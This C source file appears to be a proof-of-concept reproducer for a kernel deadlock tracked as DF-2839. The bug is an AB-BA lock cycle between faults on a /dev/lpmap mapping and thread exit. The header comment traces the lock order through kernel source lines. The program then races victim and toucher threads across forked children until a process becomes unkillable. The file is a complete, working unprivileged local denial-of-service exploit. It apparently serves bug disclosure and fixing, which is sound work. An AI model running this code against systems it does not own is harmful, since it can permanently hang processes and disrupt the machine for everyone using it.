/*
 * DF-2839 - /dev/lpmap fault vs lwp-exit AB-BA deadlock (unprivileged local DoS)
 *
 * Thread T (toucher): faults a page of a /dev/lpmap UKSMAP mapping created by
 * thread V.
 *	vm_fault()
 *	  -> vm_map_lookup() leaves vm_map READ-locked (sys/vm/vm_fault.c:467)
 *	  -> uksmap UKSMAPOP_FAULT (sys/vm/vm_fault.c:571)
 *	  -> user_kernel_mapping() case 7 (sys/kern/kern_memio.c:801-824)
 *	  -> lp->lwp_lpmap == NULL -> lwp_usermap(lp,-1) (kern_memio.c:813)
 *	  -> lwkt_gettoken(&lp->lwp_token)  (kern_proc.c:1322)
 *	     *** T blocks here, still holding the vm_map read lock ***
 *
 * Thread V (victim): pthread_exit -> lwp_exit -> lwp_userunmap()
 *	  -> holds lp->lwp_token            (sys/kern/kern_proc.c:1363)
 *	  -> vm_map_remove(map,...)         (sys/kern/kern_proc.c:1374)
 *	     *** needs vm_map WRITE lock, held shared by T ***
 *
 * T waits for V's lwp_token; V waits for T's map lock.  Permanent cycle.
 * The process becomes unkillable (exit also needs the map lock).
 *
 * Usage: lpdeadlock [mode] [children] [seconds]
 *   mode 0: victim maps region, exits immediately (lwp_lpmap never allocated;
 *           every toucher fault on the region calls lwp_usermap on V)
 *   mode 1: victim maps region, touches 1 page first (lwp_lpmap allocated;
 *           teardown frees it), then exits while touchers fault the rest
 * Exit codes: 0 = wedge detected (child unkillable), 1 = not detected
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <poll.h>
#include <time.h>
#include <errno.h>
#include <setjmp.h>

#define NPAGES	64
#define RLEN	(NPAGES * 4096)
#define NTOUCH	4
#define PAGE	4096

static int lpmap_fd;
static int mode = 0;

/* child-side state */
static volatile unsigned long region;	/* addr of current region, 0 = none */
static volatile unsigned long gen;	/* generation counter */
static volatile unsigned long donecnt;
static __thread sigjmp_buf segv_jb;
static __thread volatile int in_touch;

static void segv_handler(int sig)
{
	if (in_touch)
		siglongjmp(segv_jb, 1);
	_exit(10);		/* segv outside touch loop: real bug */
}

static void touch_range(volatile unsigned char *p, int npages)
{
	unsigned int i;

	if (sigsetjmp(segv_jb, 1) != 0)
		return;		/* mapping torn down under us: fine */
	in_touch = 1;
	for (i = 0; i < npages; i++) {
		unsigned int idx = (i * 2654435761u) % npages;
		(void)p[idx * PAGE];
	}
	in_touch = 0;
}

static void *toucher(void *arg)
{
	unsigned long seen = 0;

	for (;;) {
		unsigned long g, base;

		while ((g = gen) == seen)
			usleep(10);
		while ((base = region) == 0)
			usleep(10);
		seen = g;
		touch_range((volatile unsigned char *)base, NPAGES);
		__sync_add_and_fetch(&donecnt, 1);
	}
	return NULL;
}

static void *victim(void *arg)
{
	void *m = mmap(NULL, RLEN, PROT_READ | PROT_WRITE, MAP_SHARED,
		       lpmap_fd, 0);
	if (m != MAP_FAILED) {
		if (mode == 1)
			(void)*(volatile unsigned char *)m; /* allocate lpmap */
		region = (unsigned long)m;
		__sync_add_and_fetch(&gen, 1);
	}
	pthread_exit(NULL);	/* -> lwp_exit -> lwp_userunmap(V) */
}

static int child_main(void)
{
	long iter;
	pthread_t tid;
	int i;

	signal(SIGSEGV, segv_handler);
	lpmap_fd = open("/dev/lpmap", O_RDWR);
	if (lpmap_fd < 0) {
		dprintf(2, "open /dev/lpmap: %s\n", strerror(errno));
		return 2;
	}
	for (i = 0; i < NTOUCH; i++)
		pthread_create(&tid, NULL, toucher, NULL);

	for (iter = 0; iter < 20000000; iter++) {
		long w;

		donecnt = 0;
		pthread_create(&tid, NULL, victim, NULL);
		pthread_join(tid, NULL);	/* collects exited victims */
		for (w = 0; w < 200 && donecnt < NTOUCH; w++)
			usleep(10000);		/* bounded wait: 2s max */
		region = 0;
		{
			ssize_t n = write(1, "x", 1);
			(void)n;
		}
	}
	return 0;
}

int main(int argc, char **argv)
{
	time_t deadline, now, last_hb[8];
	pid_t pid[8];
	int nchild = 4, secs = 90, i, pipefd[8][2];
	char c;
	struct pollfd pfd[8];
	int alive[8];
	int reproduced = 0;

	if (argc > 1) mode = atoi(argv[1]);
	if (argc > 2) nchild = atoi(argv[2]);
	if (argc > 3) secs = atoi(argv[3]);
	if (nchild > 8) nchild = 8;

	lpmap_fd = open("/dev/lpmap", O_RDWR);
	if (lpmap_fd < 0) {
		printf("FAIL: cannot open /dev/lpmap: %s\n", strerror(errno));
		return 2;
	}
	close(lpmap_fd);

	for (i = 0; i < nchild; i++) {
		if (pipe(pipefd[i]) < 0) { perror("pipe"); return 2; }
		pid[i] = fork();
		if (pid[i] == 0) {
			int j;
			close(0);
			dup2(pipefd[i][1], 1);
			for (j = 0; j < nchild; j++) {
				close(pipefd[i][0]);
				close(pipefd[i][1]);
			}
			setvbuf(stdout, NULL, _IONBF, 0);
			_exit(child_main());
		}
		close(pipefd[i][1]);
		fcntl(pipefd[i][0], F_SETFL, O_NONBLOCK);
		last_hb[i] = time(NULL);
		alive[i] = 1;
	}

	time(&now);
	deadline = now + secs;
	printf("lpdeadlock: mode=%d children=%d secs=%d\n", mode, nchild, secs);
	fflush(stdout);

	while (time(&now) < deadline && !reproduced) {
		int n = 0;
		for (i = 0; i < nchild; i++) {
			if (!alive[i]) continue;
			pfd[n].fd = pipefd[i][0];
			pfd[n].events = POLLIN;
			pfd[n].revents = 0;
			n++;
		}
		if (n == 0) break;
		if (poll(pfd, n, 1000) < 0 && errno != EINTR) break;
		/*
		 * map poll results back (compact array => keep index map)
		 */
		{
			int map[8];
			int k = 0;
			for (i = 0; i < nchild; i++) {
				if (!alive[i]) continue;
				map[k++] = i;
			}
			for (k = 0; k < n; k++) {
				i = map[k];
				while (read(pipefd[i][0], &c, 1) == 1)
					last_hb[i] = time(NULL);
				if (waitpid(pid[i], NULL, WNOHANG) == pid[i]) {
					/* child exited normally, respawn */
					alive[i] = 0;
					continue;
				}
				if (time(NULL) - last_hb[i] > 12) {
					int st = 0;
					printf("child %d (pid %d) stalled - "
					       "SIGKILL test\n", i, pid[i]);
					fflush(stdout);
					kill(pid[i], SIGKILL);
					sleep(4);
					if (waitpid(pid[i], &st, WNOHANG) == 0) {
						kill(pid[i], SIGKILL);
						sleep(4);
						if (waitpid(pid[i], &st,
							    WNOHANG) == 0) {
							printf("REPRODUCED: "
							       "child pid %d "
							       "unkillable "
							       "(AB-BA wedge)\n",
							       pid[i]);
							reproduced = 1;
						}
					}
					if (!reproduced)
						printf("child %d died on "
						       "SIGKILL (no wedge)\n", i);
					fflush(stdout);
					alive[i] = 0;
				}
			}
		}
	}

	for (i = 0; i < nchild; i++)
		if (alive[i]) kill(pid[i], SIGKILL);
	if (!reproduced) {
		printf("NOT-REPRODUCED within %d s (mode %d)\n", secs, mode);
		return 1;
	}
	return 0;
}